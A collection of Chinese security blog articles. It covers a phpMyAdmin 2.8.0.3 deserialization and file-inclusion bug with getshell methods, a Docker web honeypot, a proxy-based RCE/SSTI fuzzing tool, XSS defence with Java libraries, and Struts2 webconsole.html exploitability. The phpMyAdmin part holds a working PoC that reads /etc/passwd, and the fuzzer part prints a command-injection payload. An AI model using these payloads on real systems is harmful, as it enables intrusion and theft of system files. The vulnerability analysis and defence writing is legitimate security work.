PhpMyAdmin某版本无需登录任意文件包含导致代码执行(可getshell)漏洞分析

首发:http://www.mottoin.com/87915.html

前言

这个漏洞来源于路人甲在wooyun提交的漏洞

漏洞编号: WooYun-2016-199433

1x.png

4月12日也曾在t00ls发表过,但是帖子关闭了

(详细漏洞文档可进群索取)

分析

存在漏洞的已知版本为 2.8.0.3 其余版本未知

本次测试的版本为2.8.0.3

看存在漏洞的文件代码

/scripts/setup.php

图片1.png

把传入的configuration给反序列化,而这个setup.php中引入了common.lib.php

来到common.lib.php

图片2.png

common.lib.php中引入了Config.class.php

再看看Config.class.php

M7jmQrI.png

继续看load方法:

图片4-1.png

Config.class.php中含有__wakeup魔术方法,因此可以构造序列化参数,造成反序列化漏洞

所以整个思路就是:

setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval();

漏洞验证

构造个简单的poc:

url:

http://localhost/phpmyadmin/scripts/setup.php

post data:

configuration=O:10:”PMA_Config”:1:{s:6:”source”;s:11:”/etc/passwd”;}&action=test

mac下测试:

图片5-1.png

Win下:

图片6-1.png

提供一个PHP版PoC:

<?php
class PMA_Config
{
public $source;
}
$t = new PMA_Config();
$t -> source = $_GET['file'];
$str = serialize($t);
$url = $_GET['url'];
$data = "configuration=".$str."&action=test";
echo $data;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POST,true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
echo curl_exec($ch); 
?>

Getshell

  • 利用方式一

但是经过分析这个漏洞是不能读取php文件的,因为有了eval(),相当于任意文件包含了,不过另一方面这也是有好处的,如果能写入文件,文件中包含一个一句话就可以直接getshell了。作者给的方式是用error log。

根据作者的方法,使用默认环境,才发现有点鸡肋,比如,在ubuntu下,一般是不允许用root权限运行,实际测试中,我们是无法读取access.log的,所以getshell就比较困难。在windows下,由于几乎所有的浏览器和python模块都会很“自觉地”将特殊字符编码进行转换”,getshell就更困难了,所以只能用socket去构造shell。

图片7-1.png

Access log中就出现了shell了。

图片8-1.png

再用任意文件包含漏洞去包含,就可以拿到shell了。

图片9-1.png

  • 利用方式二

PoC修改为如下:

poc2.png

通过FTP直接远程利用获取shell

前提是看file_get_contents可不可以远程(默认是开启的)

影响范围

  • 存在漏洞的已知版本为 2.8.0.3 其余版本未知
  • 许多内网的系统都在用这个版本,外网的也绝非少数!

修复建议

  • 尽快升级到最新版
  • setup.php中28行中的”configuration”改为传入其他值
  • 直接删除scripts目录,防止被恶意攻击

Dionaea:基于Docker的蜜罐系统

项目主页

https://github.com/atiger77/Dionaea

简介

web_dionaea为企业内部web类蜜罐,用来捕捉APT,内鬼及被内鬼等入侵行为。项目使用Django编写,使用Docker运行方便部署。

注:项目前端部分由ID:chanyipiaomiao帮忙完成

部署方式

  1. 自定义蜜罐名称;修改/web_dionaea/templates/index.html中的对应title
  2. 制作蜜罐镜像;#docker build -t "web_dionaea" .
  3. 创建蜜罐容器;#docker run -d -p 80:80 -v /opt:/tmp --restart=always web_dionaea
  4. 添加计划任务;*/5 * * * * /bin/bash /opt/Check.sh

登录界面

web_dionaea_01.png

日志截图

web_dionaea_02.png

分析脚本执行结果

web_dionaea_03.png

注意事项

这个dockerfile我没有直接构建push到dockerhub,可以任意修改成自己想要的样子,Check.sh脚本默认是在centos7环境下执行,修改Dionaea_HostIP值可直接兼容其他环境。有问题与我联系:d2VjaGF0OmF0aWdlcjc3

一个Fuzzing服务器端模板注入漏洞的半自动化工具

  1. 背景

乌云还在的时候,猪猪侠爆一个XX银行的OGNL表达式注入漏洞,拿到了第一滴血。然后,唐朝实验室爆了个Spring-Boot的SPEL注入漏洞,虽然不是第一滴血,但是让我有了一个想法。因为看到过曾经黑帽大会有国外研究者写的一个很好的Paper:名字:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf 里面提到了服务器端模板注入导致的远程命令执行类型漏洞产生。

  1. 萌芽

我对远程命令执行漏洞的理解就是以各种方式直接或间接的导致远程服务器执行成功了你想要让它执行的系统命令的一类漏洞,英文叫:Remote Command Execute Vulnerability(简称RCE漏洞),这是一种很简单暴力的漏洞,一种一言不合就可以rm -rf /或者 format /fs C: 的致命漏洞。哪么都有些什么类型的命令执行漏洞,可以看看exploit-db上关于RCE漏洞的exp有哪些。点击查看

下面是我简单的归了一下类别,RCE漏洞包括但不限于下面提到的。

- 应用程序开发框架里的RCE

这里的框架包括但不仅限于:Struts2框架/xwork框架,ThinkPhp框架,Spring框架 ,IOSurface编程框架类

- 中间件平台/服务应用平台的RCE

这里的代表就举例之前火的JAVA反序列化漏洞影响下的:WebLogic/Jboss/WebSphere/Jenkins、还有比如IIS,nginx,apache因文件名解析,路径解析问题导致的命令执行类,还有Elasticsearch,Redis,Zabbix ,mongodb等各种为业务应用,为数据存储提供服务的软件的命令执行类。

- 应用程序里的RCE

应用程序编写中调用系统API接口,调用系统命令执行函数,程序中系统命令执行相关方法的不恰当使用等导致的一类。

- 第三方应用里的RCE

最喜闻乐见的就是各种CMS被曝SQL注入,命令执行漏洞,代码执行漏洞,这类CMS共同特点就是支持第三方插件,支持用户对原cms程序框架结构进行改造。当然还有之前火了的ImageImagick图形处理库的RCE,和 fffmep导致的RCE等等。

- 等等等

穷尽脑汁就想到了上面这些,有遗漏的典型分类还望大牛多多留言不吝赐教。

然后我好奇的上乌云搜了搜公开的漏洞里(PS: 打开虚拟机搜了搜)关键字:命令执行 的案例。

1-16.png

公开的有2373个案例,119页,我翻了很多页案例,其中以刷Struts2的S2-xxx的最多。命令执行漏洞案例里我看到了下面几类:

- OGNL表达式|程序代码注入导致的RCE

1.Struts2的S2-xxx系列,

2.参数里注入或直接传值OGNL表达式,

3.变量名里或参数里注入编程语言基本语法代码

- 系统命令注入|模板代码注入导致的RCE:

1.变量名里或参数里注入系统命令,

2.变量名里或参数里注入框架模板代码,

- 配置或业务设计不当导致的RCE

1.RMI对外匿名开放或服务未授权导致

2.文件解析执行绕过

3.缓存模板,日志记录,请求信息等被带入奇葩业务执行的

4.业务应用接口,系统接口等权限不当导致的

- 等等。。。

我的重点放在了参数中被带入了系统命令,程序代码,OGNL表达式,模板代码之类导致的RCE漏洞发生的情况。这类情况,有个共同点,大都是通过HTTP/HTTPS请求出现。之前,顺着之前流行的sqlmapapi的思路,我想是否可以同样实现一个, 你上着网就把漏洞给挖出来了呢?萌生了这个想法,于是就有了这么个小脚本。

  1. 实现.

基于sqlmapapi的实现思路,同样用到了代理正常流量,提取Fuzzing点,带入测试payload进行Fuzzing测试。

实现环境:

  • Python 2.7.8 ,Win8.1 x64

第三方模块(版本):

  • requests (2.9.1)、tornado (4.3)

先用Tornado实现代理正常上网,定义SSTIF_Fuzz类用于进行测试,SSTIF_Fuzz类里面定义了下面的函数:

  1. _init_payloads_: 初始化各种测试payload的函数,里面现在已经具备了一些测试payload,包括通用的,PHP基础代码,JAVA语法的,OGNL表达式,EL表达式,SPEL表达式,Groovy测试payload,鸟哥爆的CA
    technologies存在远程命令执行漏洞poc.(暂时就这么多,会不断补充,除非证明此思路此脚本不可行。)
  2. HttpHelper
    :发出带有payload的构造好的请求,根据规则(响应数据包括字符串:10516*61501的结果:646744516,或者在自己配置的cloudeye里面手工确认)判定是否存在RCE漏洞。
  3. Fuzzing_GET
    :分析GET请求中的变量-值(key-value)组合,目前是对每一个value进行测试,未实现对key即变量名进行测试。
  4. Fuzzing_HEADER:未实现,因为在乌云的案例中,发现有在Referer中,注入命令导致的RCE的案例,所以未来会考虑对这里的参数进行测试。
  5. FileHelper:将测试可能存在RCE漏洞的记录在rce_success_result.txt文件里,格式例如:

    +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+
    +=+URL: http://202.111.222.333/index.jsp?id=1111&page=222&count=123
    +=+method: GET
    +=+param: id
    +=+payload: java.lang.Runtime.getRuntime().exec('cat</etc/passwd;$BASH')
    +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+

记录上面的一条,就可以比较清晰的看出要表达的意思了。

  1. 使用.

1、安装第三方模块

pip install requests
pip install tornado

2、修改SSTIF_Fuzz类中配置文件:

大概在第49行:

self.my_cloudeye = “xxxx.dnslog.info” 这里配置为你的dnslog的域名地址。

3、然后找到一个没有使用的端口,命令:

python ssitf.py 8081 启用代理监听8081端口

4、和设置burpsuite一样,浏览器设置通过8081代理端口上网,然后后面就像使用Sqli半自动化工具那样安心上你的网吧。

注意:

ProxyHandler类中定义了黑名单请求后缀,域名黑名单,这是为了避免带来麻烦的,可以自己添加:大概在246-250行代码处:

url_ext_black = ['ico','flv','css','jpg','png','jpeg','gif','pdf','ss3','txt','rar','zip','avi','mp4','swf','wmi','exe','mpeg']
domain_black = ['gov.cn','gov.com','mil.cn','police.cn','127.0.0.1','localhost','doubleclick','cnzz.com','baidu.com','40017.cn','google-analytics.com','googlesyndication','gstatic.com','bing.com','google.com','sina.com','weibo.com']
  1. 总结.

这个脚本做了什么:

  • 从乌云上,从国外的研究者paper上拔下来了一些payload,作为fuzzing的依据。
  • 实现了代理,从正常上网流量中提取GET和POST请求中的提取有效的参数作为Fuzzing测试点。
  • 实现了个初级版本。

反思不足:

  • payload是固定死的,这是一大弊端。
  • 无法支持HTTPS流量的处理,这是技术盲点。
  • Fuzzing太慢,目前是单线程的。
  • Fuzzing情况考虑不全,应该是思路和认知盲点。
  • 没有考虑狗,软硬防护产品的拦截绕过问题。

最后,看了很多案例,RCE其实就是插入那些东西进去,带入那些东西进去就可以简单初步判断是否存在该漏洞了,我感觉这是一种不错的思路,只是要实现自己的自动化挖掘漏洞神器还是长路漫漫~

Github地址:

SSTIF

欢迎测试,提出意见~

国外的一个自动化服务端模板注入检测和利用工具:https://github.com/epinna/tplmap http://www.mottoin.com/91727.html

如何使用开源组件解决web应用中的XSS漏洞

本文包含以下内容:

  • XSS概述
  • XSS的防御原则
  • 开源组件的使用

XSS(跨站脚本攻击)漏洞是Web应用程序中最常见的漏洞之一,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等。根据其触发方式的不同,可以分为反射型XSS、存储型XSS和DOM-base型XSS。漏洞“注入理论”认为,所有的可输入参数,都是不可信任的。通常我们说的不可信任的数据是指来源于HTTP客户端请求的URL参数、form表单、Headers以及Cookies等,但是,与HTTP客户端请求相对应的,来源于数据库、WebServices、其他的应用接口数据也同样是不可信的,这即是反射型XSS与存储型XSS的本质区别。+

一般来说,我们可以通过XSS漏洞的表现形式来区分漏洞是反射型、存储型、DOM-base三种中的哪一种类型。

其name参数的值为<script>alert(1);</script>,这样的参数值进入程序代码后未做任何处理,从而被执行。其代码如下图:

01.png

  • 存储型XSS是指恶意脚本代码被存储进数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存储的非法数据,导致恶意脚本代码被执行。通常代码结构如下图:

02.png

其发生XSS的根本原因是服务器端对写入数据库中的内容未做javascript脚本过滤。

  • DOM-base型XSS是指在前端页面进行DOM操作时,带有恶意代码的片段被HTML解析、执行,从而导致XSS漏洞。

无论是哪种类型的XSS漏洞,其解析完成后,漏洞利用的代码基本雷同的。在日常工作中,常见的XSS漏洞Exploit攻击点有:

  • 恶意js的引用

03.png

  • Img标签(以img为例,下同)

04.png

  • 大小写绕过安全检测

05.png

  • 破坏原始标签结构

06.png

  • 基于标签事件触发

07.png

  • fromCharCode编码绕过

08.png

  • javascript 转码

09.png

  • HTML转码

10.png

  • 混合型

11.png

  • CSS文本

12.png

  • CSS属性值

13.png

基于XSS上面所述的特性,在XSS的频发代码中,我们通常遵循以下处理规则:

14.png

从上表中我们可以看出,ESAPI、HeadLines、AntiSamy、HTML Sanitizer 是开源组件中防御功能比较全面的4个,其中ESAPI、HeadLines除了对XSS具有很好的防御能力外,还对OWASP TOP 10中其他的安全漏洞都具有规范处理的能力。在单纯性地讨论其对XSS的防御能力时,我们需要看具体的应用场景或者需求点。如果仅仅是对客户端提交的简单的请求参数(通常指form表单域,不包含复杂文本和可编辑文本)做安全过滤,则HTML Sanitizer、Java Encoder都可以作为首选解决方案;如果不但对客户端提交的简单的请求参数做安全处理,而且,应用中会涉及复杂文本,类似于BBCode文本之类的数据处理,通常会首选AntiSamy作为解决方案;如果除了以上两点外,还需要做同源策略安全、Http Header安全、Cookies安全,则通常会首选HeadLines作为解决方案;如果还有更多层次的用户安全、Session会话安全、口令或随机数安全等,则ESAPI和Apache Shiro将会被考虑。那么,具体到某个软件项目中,是如何使用开源组件对XSS漏洞进行防护的呢?下面就以Java语言为例,对处理过程做简要的阐述。

第一步:确定使用的开源组件

首选是确定使用的开源组件,只有开源组件确定下来,才能确定解决方案的细节部分。在选择开源组件之前,要理解业务涉及的需求点,以免遗漏。一般来说,简单文本参数使用HTML Sanitizer,复杂文本参数使用AntiSamy。

第二步:定义安全过滤器

针对于XSS的处理,常用的解决办法是使用过滤器(Filter),由Filter中的doFilter方法对参数的内容进行安全过滤操作。其代码核心结构如图所示:

15.png

第三步:处理XSS

编写处理XSS函数clearXSS时,我们会根据所选择的开源组件不同而编写方式有所不同。当我们把开源组件的jar和依赖库添加到项目中之后,主要的工作是对此函数功能的实现,实现的基本思路是:从Request对象中获取请求的参数和http消息头,遍历每一个参数,如果某个参数值存在XSS,则对该值进行处理(过滤、编码、转义、拦截等),处理完毕后再重新赋值。 如果使用HTML Sanitizer,你的核心代码可能是

16.png

或者使用了Java Encoder,代码类似:

17.png

如果使用了AntiSamy,代码或许类似于

18.png

在HTML Sanitizer和AntiSamy中,我们都看到一个词:Policy,Policy即XSS防护策略,是指在XSS的文本进行处理时,按照怎么的规则去处理数据块:哪些html标签或属性是允许存在的,哪些的需要转义的,哪些是需要进行格式校验的,哪些是需要移除的等,这些都是在策略文件里去定义的。 HTML Sanitizer组件中,包含5个预定义的策略,具体在使用中,我们可以根据自己的需求选择某个策略。这5个策略的内容分别是:

19.png

AntiSamy组件中对策略的定义相对复杂些,是由配置文件中多个选项指定的。其配置如图所示:

20.png

AntiSamy的策略配置是由规则(tag-rule、css-rule)来控制Antisamy对html标签(tag)、属性(attribute)中不可信数据做怎样的操作行为(action),其中操作行为可分为校验(validate)、过滤(filter)、清空(truncate)、移除(remove)。根据定义的操作行为,可以对不可信数据进行移除、清空、过滤和校验操作。当对不可信数据进行校验时,比如input标签,我们可以校验align属性值指定枚举值范围为left,right,top,middle,bottom,也可以校验value值是否匹配既定义的正则表达式,如图中common-regexps和common-attributes节点所示。Antisamy依据策略文件的具体配置,对传入的不可信数据,按照定义的规则对数据进行处理,最终返回可信的文本,即代码段中的cr.getClearHTML函数的返回值。当原来的不可信数据,经过处理变成可信数据,我们防护XSS的目的也就达到了。与HTML Sanitizer类似的是,AntiSamy除了默认的antisamy.xml外,也提供5个策略模板文件:antisamy-anythinggoes.xml、antisamy-ebay.xml、antisamy-myspace.xml、antisamy-slashdot.xml、antisamy-tinymce.xml。其中ebay的模板文件使用广泛,在实际项目中,可以直接使用此策略模板或者在其基础上修改即可。

第四步:添加http响应头XSS防护

完成clearXSS函数之后名,我们需要对http响应头添加XSS防护策略。通过clearXSS函数调用是在服务器层对XSS做防护,而添加http响应头XSS防护策略是从客户端浏览器层面防护XSS。常用的参数有:

21.png

其核心代码大体如下:

22.png

第五步:启用安全过滤器

完成安全过滤器对不可信数据处理的编码逻辑之后,我们需要启用它。启用的过程即配置的过程,目的是使安全过滤器生效,这需要在web.xml中配置,并对所有请求进行拦截,其基本配置如下:

23.png

通过以上步骤的处理, web应用中因前端输入导致的XSS数据基本得以解决,但在实际的项目中,发生XSS的点可能各不相同,不是仅仅用一个安全过滤器进行全局拦截处理即可托付全盘那么简单。例如通过文件导入引发的XSS漏洞,则需要单独编码,调用开源组件对XSS进行防护。总之,无论是XSS漏洞还是其他的漏洞,安全防护是一个动态的概念,在进行XSS防护过程中,我们需要根据实际情况,不断地调整处理策略(Policy),以达到既能满足安全需要,正确处理非法的、不安全的数据,又能满足业务需要,不会错误拦截或处理了正常业务数据的最终目标。

Struts2中webconsole.html漏洞利用完全剖析

近来,随着Struts2漏洞接二连三地被披露,企业对Struts2的心理安全指数也在降低,很多企业或者安全从业人员,在日常的安全检测或者扫描过程中有点草木皆兵,如果发现了webconsole.html页面,则判断系统存在Struts2漏洞,要求各个厂商做对应的安全整改。那么出现webconsole.html页面到底是不是Struts2的安全漏洞呢?

首先,我们来看看Struts2框架中为什么会存在webconsole.html。 在Struts的官网的Debuggin页面中,有如下一段话:

The Debugging Interceptor provides three debugging modes to provide insight into the data behind the page. The xml mode formats relevant framework objects as an XML document. The console mode provides a OGNL command line that accepts entry of runtime expressions, and the browser mode adds an interactive page that display objects from the Value Stack.

我们注意引文被我加粗标注出来的句子,从这里我们可以看出来,此交互页面(即struts/webconsole.html)是Struts官方为了方便开发人员进行Debug而提供的功能。基于此,我们应该有第一个基本的认识:这是调试功能,只有在调试模式下才能使用。

接着,我们看到此文档中还有如下语句的描述:

s2_01.png

从这段话中,我们可以看出,Struts2的Debug功能,只有在开启了此功能,即配置了: <constant name="struts.devMode" value="true" /> 基于此,我们应该有第二个认识:struts/webconsole.html的调试功能只有在启用了调试参数的情况下才会生效,否则即使看到此页面,也不具有调试的功能。+

那么,是不是说,只要开启了Debug模式,struts/webconsole.html就可以进行交互了呢?答案当然是否定的。当我们访问struts/webconsole.html,使用浏览器,按F12进行查看就会发现,webconsole.html页面中加载了几个js脚本。如下图所示:

s2_02.png

从图中我们可以看出,webconsole.html页面与后端交互时,使用了Dojo的js框架来完成请求和应答处理,也就是说,webconsole.html页面可以与后端进行正常交互的前提是,项目中使用了Dojo的lib库。而在Struts2中,有一个jar,专门供此功能使用的。如下图:

s2_03.png

基于此,我们应该有更深一层的认识:只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。

这时我们该明白,如果应用程序中使用了Struts2,启用了Debug模式,且ClassPath中包含了struts2-dojo-plugin-*.jar,那么,当我们访问http://ip:port/app_name/struts/webconsole.html 即可以看到如图中所示的交互界面。但是,看到了界面,就真的可以交互了么?我们接下来看看一下webconsole.html中提交事件是如何触发的?

s2_04.png

如上图中的箭头所示,当我们在页面输入内容释放键盘操作时,调用的javascript函数为keyEvent(event),我们再来跟踪一下这个函数,发现它存在于webconsole.js中,其关键代码如下图:

s2_05.png

当触发此函数时,需要两个参数,一个是event,一个是url。event表示键盘的动作事件,这比较好理解,那么url是什么呢?为什么此处并没有传递调用呢?在图中的53行我们看到源码如下: var the_url = url ? url : window.opener.location.pathname; 这句代码的语义是:如果存在url参数则使用url参数,如果不存在,则使用当前对象的父对象的url(相当于使用referer作为url的值)。很显然,此处url值不存在,只能使用当前对象的父对象的url。因此,要想能交互地使用此页面,必须有一个页面作为父页面,打开webconsole.html才可以。故我们需要有一个前置的页面,然后我们在页面上可以通过浏览器调试功能,添加如下代码: <a href="struts/webconsole.html" target="_blank">Click Me</a> 页面如图所示:

s2_06.png

s2_07.png

基于此,我们应该有第四个认识:webconsole.html是否能交互是需要有指定接受消息的url路径。
那么,是不是所有的url都可以进行交互呢?当然答案也是否定的。我们都知道webconsole.html主要用来进行Debug,其使用OGNL表达式,而OGNL表达式需要以Struts2的Action为入口,也就是说,通常情况下,这个url的路径类似于http://ip:port/app_name/xxx.action,是以action结尾的,且其实现类必须集成于com.opensymphony.xwork2.ActionSupport (后面的原理与S2-032一致),只有基于以上叙述的所有条件都满足的情况下,webconsole.html才是真正可交互的。
说到这里,我想你应该明白什么样的情况下你所看到的webconsole.html才是存在安全风险的。至于你可能出于安全目的,在禁用了devMode之后,仍然不希望其他人员看到webconsole.html页面,则可以直接删除webconsole.html的源文件,它的位置存在于:

s2_08.png

我们手工删除struts2-core-*.jar\org\apache\struts2\interceptor\debugging\文件夹下的browser.ftlconsole.ftlwebconsole.htmlwebconsole.js即可。删除完毕后,当我们再次访问,将会出现404页面。